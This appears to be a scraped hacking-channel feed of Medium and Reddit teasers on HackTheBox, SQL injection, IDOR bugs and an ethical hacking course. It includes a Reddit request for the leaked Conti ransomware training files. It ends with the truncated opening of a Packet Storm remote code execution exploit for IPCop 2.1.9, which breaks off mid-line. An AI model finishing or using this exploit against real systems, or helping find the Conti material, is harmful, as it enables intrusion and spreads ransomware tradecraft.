Hacking on Medium
HackTheBox - SecNotes

https://cdn-images-1.medium.com/max/1190/0*lO8cU6k14uCS_nUI.png
Bu, OSCP için HackTheBox adında yayınlayacağım emekliye ayrılmış HTB makinelerinden oluşacak olan bir dizi blogun 3. blogu. TJ_Null…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Apron Network Supports Polkadot Ecosystem With Node Service
https://apron-network.medium.com/apron-network-supports-polkadot-ecosystem-with-node-service-9a4eb9823b5b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

As of Q2 2021, we have more than 400 projects built on the Polkadot ecosystem, this was to occur with progress in the development of the…Continue reading on Medium » (https://apron-network.medium.com/apron-network-supports-polkadot-ecosystem-with-node-service-9a4eb9823b5b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Where can I find the HDD-drive Conti leak?

( Catch-up: a disgrunteled affiliate of the Conti ransomware gang leaked some training materials)

Does anyone know the forum or the exact files? Is there a torrent for them? I am positivley DYING to see them and I am planning on translating them from russian to english with a buddy of mine. I have scoured the entire web for them, looked at so many forums, but I still cant find them.

submitted by /u/StillPackage4369
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/QPt5XREyoQbIozGoUrJDk6vBjMG62XWcOu1vi63U06E.jpg submitted by /u/ITSGAMINGWEEEEEEK
[link] [comments]

hacking: security in practice
FREE Practical Ethical Hacking course from The Cyber Mentor

submitted by /u/FragileEagle
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Bug Hunting PhoenixRadioBali [ SQL Injection ]
https://medium.com/@joelaplnz/bug-hunting-phoenixradiobali-sql-injection-14b3fcad8391?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Helo semuanya, back lagi bersama saya, disini saya akan membahas kegiatan bug hunting yang saya lakukan beberapa hari belakangan ini pada…Continue reading on Medium » (https://medium.com/@joelaplnz/bug-hunting-phoenixradiobali-sql-injection-14b3fcad8391?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Fuzzing + IDOR = Admin TakeOver
https://medium.com/@gonzalocarrascosec/fuzzing-idor-admin-takeover-5343bb8f436e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello everyone, this is my first post. I’ve been thinking about writing about my findings for a while, so here we go.Continue reading on Medium » (https://medium.com/@gonzalocarrascosec/fuzzing-idor-admin-takeover-5343bb8f436e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cockpit CMS 0.11.1 NoSQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
IPCop 2.1.9 Remote Code Execution

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
IPCop version 2.1.9 authenticated remote code execution exploit.

MD5 | 45746a48f3e976bd5c861e5e77a47282

Download
# Exploit Title: IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/08/2021
# Exploit Author: Mücahit Saratar
# Vendor Homepage: https://www.ipcop.org/
# Software Link: https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.8/ipcop-2.1.8-install-cd.i486.iso - https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.9/ipcop-2.1.9-update.i486.tgz.gpg
# Version: 2.1.9
# Tested on: parrot os 5.7.0-2parrot2-amd64

#!/usr/bin/python3

import requests as R
import os
import sys
import base64
import urllib3

R.packages.urllib3.disable_warnings()
R.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
R.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
# no pyopenssl support used / needed / available
pass

try:
hostport = sys.argv[1]
assert hostport[:8] == "https://" and hostport[-1] == "/"
url = hostport + "cgi-bin/email.cgi"
username = sys.argv[2].encode()
password = sys.argv[3].encode()
auth = base64.b64encode(username+b":"+password).decode()
command = sys.argv[4]
assert " " in command
except:
print("[-] Usage https://host:port/ username password command(no spaces)
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video